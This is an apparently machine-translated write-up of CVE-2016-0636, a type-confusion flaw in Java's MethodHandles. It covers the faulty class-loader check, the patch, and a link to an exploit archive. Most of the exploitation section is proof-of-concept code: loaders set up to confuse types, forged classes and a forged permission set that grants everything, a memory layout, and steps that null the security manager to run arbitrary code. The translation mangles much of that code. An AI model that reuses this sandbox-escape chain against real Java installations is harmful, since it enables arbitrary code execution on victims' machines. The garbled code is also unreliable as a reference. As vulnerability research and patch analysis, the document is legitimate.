CVE-2016-0636 Vulnerabilities

CVE-2016-0636 Vulnerabilities
0x00 vulnerability Overview

Vulnerability No.: CVE-2016-0636, a variant of the Vulnerability (CVE-2013-5838) that Adam Gowdiak reported to Oracle on 2013. Oracle has not fixed this vulnerability in some code branches, which leads to a reproduction of this vulnerability. Affected Versions: java SE 7u97, 8u73, and 8u74.

0x01 test environment

Windows 7 x86 + jdk_1.8.0_74 

0x02 Vulnerability Analysis

Due to a defect in the implementation of the reflection API, when the method handle (MethodHandles) processes the member functions of the target class, type confusion may occur because the type verification of function parameters is not rigorous. The verification process is shown in:

Clazz indicates the target class, and type indicates the member function of the clazz class. The verification code is shown in:

The implementation code of loadersAreRelated is as follows:

#! Java @ param paramClassLoader1 function parameter loader @ param paramClassLoader2 Object Class Loader private static boolean loadersAreRelated (ClassLoader paramClassLoader1, ClassLoader paramClassLoader2, boolean paramBoolean ){... for (ClassLoader localClassLoader = paramClassLoader2; localClassLoader! = Null; localClassLoader = localClassLoader. getParent () {if (localClassLoader = paramClassLoader1) {return true ;}}...}

 

This function cyclically checks whether the loader of the target class or the parent loader is equal to the loader of the function parameter. If they are equal, the system returns true, indicating that the verification is successful. When the target class loader is inconsistent with its function parameter loader and the two loaders have parent-child relationships, a type confusion vulnerability is formed.

0x03 vulnerability exploitation 1. JAVA class loading rules

By default, the JVM uses the parent-parent delegation mechanism when loading classes. Generally speaking, when a specific class loader receives a request for loading classes, first, the load task is delegated to the parent class loader, Which is recursive in turn. If the parent class loader can complete such loading tasks, the returned result is successful; only when the parent class loader cannot complete this loading task will the class be loaded by itself. As shown in:

2. Vulnerability trigger conditions

Define void. m (P p), A indicates the target class, m indicates the function, and p indicates the parameter; A is loaded by cl2; p is loaded by cl1, and cl1 is the parent loader of cl2 (where p can be forged in cl1 space, because under normal circumstances p should be loaded by cl2 ).

3. Construct the POC code to meet the first and second Conditions

#! Java URLClassLoader cl1 = (URLClassLoader) getClass (). getClassLoader (); URL utab [] = cl1.getURLs (); URL url = new URL (utab [0] + "/data/"); utab = new URL [1]; utab [0] = url; URLClassLoader cl2 = URLClassLoader. newInstance (utab, cl1);/* find A classe in cl2 namespace \ */MethodHandles. lookup lookup = MethodHandles. lookup (); Class a \ _ cl2 = cl2.loadClass ("A");/* find m method of A class */lookup = lookup. in (a_cl2); Class ALB [] = new Class [1]; ALB [0] = P. class; desc = MethodType. methodType (Void. TYPE, CTL); MethodHandle mh = lookup. findStatic (a \ _ cl2, "m", desc); // obtain the method handle of the m function p p = new P (); mh. invokeExact (p );

 

4. How to exploit vulnerabilities

Counterfeit p to achieve object obfuscation. With a reasonable memory layout, read and write the memory data of the target object, and set the Security Sandbox manager to null, attackers can bypass the Security Sandbox restrictions and execute arbitrary code.

5. Use code analysis:

By obfuscation of types, the current system permission set is rewritten as a user-defined permission set, and the custom permission set returns an empty set. When the security sandbox manager is set to null, the system permission set is called for security check. However, the system permission set has been tampered with as a custom permission set, so the returned result is empty, after the security permission check is passed, the security manager is successfully set to null, bypassing the Security Sandbox restrictions.

1. Construct two class A with the same name as p, one in cl1 space and the other in cl2 space to prepare for class obfuscation. The Code is as follows:

#!java A in cl1 namespace public class A {     public AccessControlContext macc; }  A in cl2 namespace public class A {     public MyAccessControlContext macc; } 

2. The custom MyAccessControlContext is used to obtain the context. The Code is as follows:

#!java public class MyAccessControlContext {     int dummy;     public MyProtectionDomain context[]; } 

Dummy is the filled data, which is used to control the memory layout. As a result, MyAccessControlContext. context is exactly equal to AccessControlContext. content. The memory layout is as follows:

#!bash macc in cl1            macc in cl2  03ca56d0 00000001  ---> 03caa940 00000001 03ca56d4 1480e188  ---> 03caa944 143e1438 03ca56d8 00000100  ---> 03caa948 41414141 //dummy 03ca56dc 03ca56c0  ---> 03caa94c 03cab6b8 //content 03ca56e0 00000000  03ca56e4 00000000  03ca56e8 00000000  03ca56ec 00000000  03ca56f0 00000000  03ca56f4 00000000 

 

3. The custom MyPermissions permission set class returns an empty set. The Code is as follows:

#! Java public class MyPermissions extends PermissionCollection implements Serializable {Object dummy; // used to control the memory layout public transient boolean hasUnresolved; public PermissionCollection allPermission; public Enumeration
  
   
Elements () {return null;} public boolean implies (Permission perm) {return true;} public void add (Permission permission ){}}
  

4. Set the system permission set to a custom permission set. The code is implemented as follows:

#! Java public static void set_privileges (MyAccessControlContext macc) {try {MyProtectionDomain mpd = macc. context [0]; MyPermissions permissions = mpd. permissions; // convert to custom permission set permissions. allPermission = (PermissionCollection) permission;/set the system permission set to custom permission set} catch (Throwable e) {e. printStackTrace ();}}

5. Logical implementation steps:

1. Set the system permission set in cl1 to a custom permission set;
2. Set the system permission set in cl2 to a custom permission set;

3. Set the security manager to null when you execute the method in chlorine. The key code is as follows:

   #! Java // exploit type confusion for ACC from cl1 namespace. macc = AccessController. getContext (); confuse_types_mh.invokeExact (a); // obfuscation of cl1 space objects, tampering with permission sets // exploit type confusion for ACC from cl2 namespace. macc = (AccessControlContext) getACC_mh.invoke (); confuse_types_mh.invokeExact (a); // bind a space object, tamper with the permission set // invoke Exploit. run method and proceed with full sandbox bypass run_mh.invokeExact () // set the security manager to null and execute any code;

    

   0x04 demo

   This vulnerability bypasses the Security Sandbox restriction and a calculator is displayed, as shown in:

   0x05 vulnerability repair solution

   Make sure that the loader of the target class and the loader of the function parameter class are the same. The patch code is as follows:

   #! Java @ param paramClass1 function parameter Class @ param paramClass2 target Class public static boolean isTypeVisible (Class paramClass1, Class paramClass2 ){... string class1Name = paramClass1.getName (); Class localClass = (Class) AccessController. doPrivileged (new PrivilegedAction () {public Class run () {try {return Class. forName (class1Name, false, localClassLoader2);} catch (ClassNotFoundException | LinkageError localClassNotFoundException) {} return null ;}}); return paramClass1 = localClass ;}

   First, get the name of the parameter class, and then let the target Class Loader try to load the parameter class. If the load is successful, and whether the two classes are equal, if the two classes are equal, the verification succeeds. Otherwise, the verification fails. This ensures that the loader of the target class and the loader of the function parameter class are the same loader, and the vulnerability is successfully repaired.

   0x06 exp

   Http://www.security-explorations.com/materials/se-2012-01-69.2.zip

    

   1.